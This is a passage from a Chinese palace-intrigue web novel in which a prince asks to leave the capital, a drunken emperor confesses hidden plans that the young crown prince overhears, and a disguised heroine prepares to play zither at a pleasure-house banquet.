往往不需要点明,李霁总能办好,这是他们兄弟间的默契。
现在,他不仅装傻,还把话点破,放在明面上来说。
良久后,李彦成再次开口,语气平静了许多,突兀道:“你转眼要到而立之年,当个闲散王爷也不合适,此次你审理安国公与定宁侯一案,引发众议,不少臣子夸你‘明察秋毫’,不如趁此机会回归朝堂,日后,你也好替朕分忧啊。”
“明察秋毫”四个字,他咬字重,格外意味深长。
这段话,一半试探、一半陷阱。
他在试探李霁对权力的渴望,是否真的有与许清结盟。
因此,李彦成又说:“许绮嫚痴缠你十多载,待你回归了朝堂,倒也可以考虑迎娶许绮嫚为王妃。”
“多谢皇兄好意,”李霁拒了,“臣弟同许绮嫚今生无缘,绝不会娶其为妃。”
“那清晏是看上了汴京哪位贵女啊?”
李霁摇头:“臣弟习惯了孤家寡人的自在生活,暂无娶妻生子的念想,且自知能力有限,恐也无法替皇兄分忧。”
“哦?”李彦成喜怒难辨,“清晏不如朝堂,日后再遇着似安国公、定宁侯这般的事,如何好插手处理呢?”
“臣弟自知此案未能办得令皇兄满意,臣弟罪该万死,”李霁叩首,扬声道:“臣弟日后再不会插手朝中任何臣子之事。”
他道出铺垫了如此之久的目的:“臣弟愿离开汴京,无召再不回京!”
李彦成一怔。
他的确没想到李霁会这般回复。
李霁近来种种表现,隐约可见要插手朝廷事务的端倪。
现在,他却说要离开汴京。
李霁再次叩首,这次不是走过场做戏,而是诚恳坚决地,重重磕了个响头,“恳请皇兄恩准!”
死一般的寂静过后,李彦成如死水一般开口确认道:“清晏,你可想好了?”
李霁匍匐着,没有抬首:“臣弟此案办得令皇兄失望不悦,但只要臣弟因此远离汴京,无召再不得回京,足够给朝中众臣敲响警钟。”
圣眷最浓的皇帝胞弟,都因不如皇上的心意,“被贬”出皇城。
其余人更不敢放肆。
“臣弟愿皇兄,永远高枕无忧。”
在李霁离宫后,李彦成陷入长久的沉默。
当晚,他去了先皇后许令仪生前的寝殿。
今日,是许令仪的生辰。
寝殿里悬挂着许令仪的丹青,李彦成屏退了宫人,兀自立在丹青前饮酒。
他一言不发,直到一壶酒都入了肚,翻涌的酒意的吞噬了不少清醒时的猜忌与冷漠,只剩下了情绪。
他开始冲着丹青说话。
“令仪,连清晏也要走了。”
“朕明明是想要你们都待在朕的身边,才坐得这龙椅。”
“可到头来,却一个也留不住。”
“令仪,朕是不是很失败?”
他借着酒精,说着这些脆弱沮丧的“胡话”,可哪怕意识朦胧,脑海里也有个声音,清醒而寡情的说着:“皇家哪有真情,只有至高无上的的权利是真的,忤逆朕的人,都该死。”
脑海里两个自己在对话,李彦成醉眼迷离地望着画中人,柔声问道:“朕若杀了你兄长,你可会怪朕?”
模糊的视野里,画中人好似活了过来。
许令仪满脸哀伤,一双眼蓄满了泪水看着他。
“令仪,你莫哭,”李彦成踉跄朝前迈了一步,摇晃着伸手去给她擦眼泪,“你别怪朕,你兄长……兄长该死。”
他眼里有狠厉不受控的闪过,随即又快速压下去,“不说这个,我们说说别的吧。”
“令仪,你和朕说说话吧,你已经很多年很多年,不理朕了。”
“你是不是埋怨朕,没有找到我们的女儿?”
“朕会继续找的,等朕收拾了他们……朕会接着找的……”
李彦成借着酒意,近乎“胡言乱语”的说着,完全不知寝殿角落,还有一人。
那是十二岁的太子李昀璟。
今日是先皇后许令仪的生辰,他比李彦成来得更早。
在他的记忆里,他每每提及母后许令仪,李彦成都会冷脸,因此他是悄悄溜进寝殿的。
后来听到李彦成进来的声响,一时出不去,只能躲在角落,等李彦成离开。
不成想却听到了如此骇人听闻的话。
父皇要杀了舅舅?!
还有……江元音竟是父皇和母后的女儿?!
父皇在找她,她真的是公主。
有个念想,在心里冲破了顾虑,开始蠢蠢欲动。
另一边,抚州临川。
江元音已经和“飞莺阁”的舞姬合了曲。
沉月与青鸢不明白,好好上门驱疫、防疫怎么变成抚琴演奏,只是她两人都是寡言的性子,
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觉得能护住江元音的安全便好,至于江元音要做什么,她们不会去劝说干涉。
以至于……两人最后也成了晚上表演中的一员。
只是她们两人实在不会什么乐器,但为了保护江元音不敢离其太远。
然而在“飞莺阁”一个普通的琴女抚琴,身边杵着两个女护卫实在是不合理。
于是江元音寻了两个手铃,只需她们在某些曲段,摇晃手铃即可。
不是什么复杂的演奏,练习了一阵,合了几遍曲子,倒也上手了。
精心妆扮好后的怜盈儿见状,面容里流露出不满与失望来。
她确认问道:“这是阁主的安排,还是许大人的要求?”
许昌安每回来飞莺阁,不是只要她一人侍候吗?
顶替了染了疫病的舞姬去跳舞的琴师会意的回道:“是阁主根据许大人的要求做的安排,盈儿妹妹放心,我们都是去给许大人好友表演节目的,能近许大人身边侍候的,定只有盈儿妹妹一人。”
“可不是嘛,我们如何能入得了许大人的眼?”
怜盈儿听着众人的吹捧,神色缓和,走至江元音面前,又问道:“郎中晚上即要帮忙抚琴,为何还戴着帷帽呢?”
先前她只是作为郎中来看诊时,她对她的容貌是半点不好奇的。
现下知道她晚上要去许昌安面前抚琴了,危机感顿时涌了上来。
这阁里的姐姐妹妹,长什么样,她都心中有数,更何况,许昌安早就见过这些人了。
这些人先前入不了许昌安的眼,今夜定也一样。
但面前的女郎中不一样。
她是何容貌?
江元音看破怜盈儿心中所想,淡声回应道:“我今晚会在‘飞莺阁’抚琴,是帮阁主救急,已同阁主说好,不会露出真容,我真容不便示人,就不摘帷帽了,姑娘见谅。”
怜盈儿一听,心里那点危机感也就散了。
只要江元音不在许昌安面前露脸,那她究竟是长什么样,便不重要了。
何况那句“真容不便示人”听起来便知她容貌估计生得不好。
思及此,怜盈儿朝江元音笑得春风满面,歉然道:“是我唐突了,郎中莫怪。”
很快,便到了晚上。
珍娘腾出了“飞莺阁”最奢华的包厢,用以招待许昌安和他的好友。
想比许昌安,今晚能入包厢表演的姑娘们,对其好友更感兴趣。
许昌安那是争不过怜盈儿的,只能努努力,看是否能拿下其好友。
他好友定也是翩翩贵公子,身份尊贵之人!
江元音和她们一样,也对这位好友,好奇无比。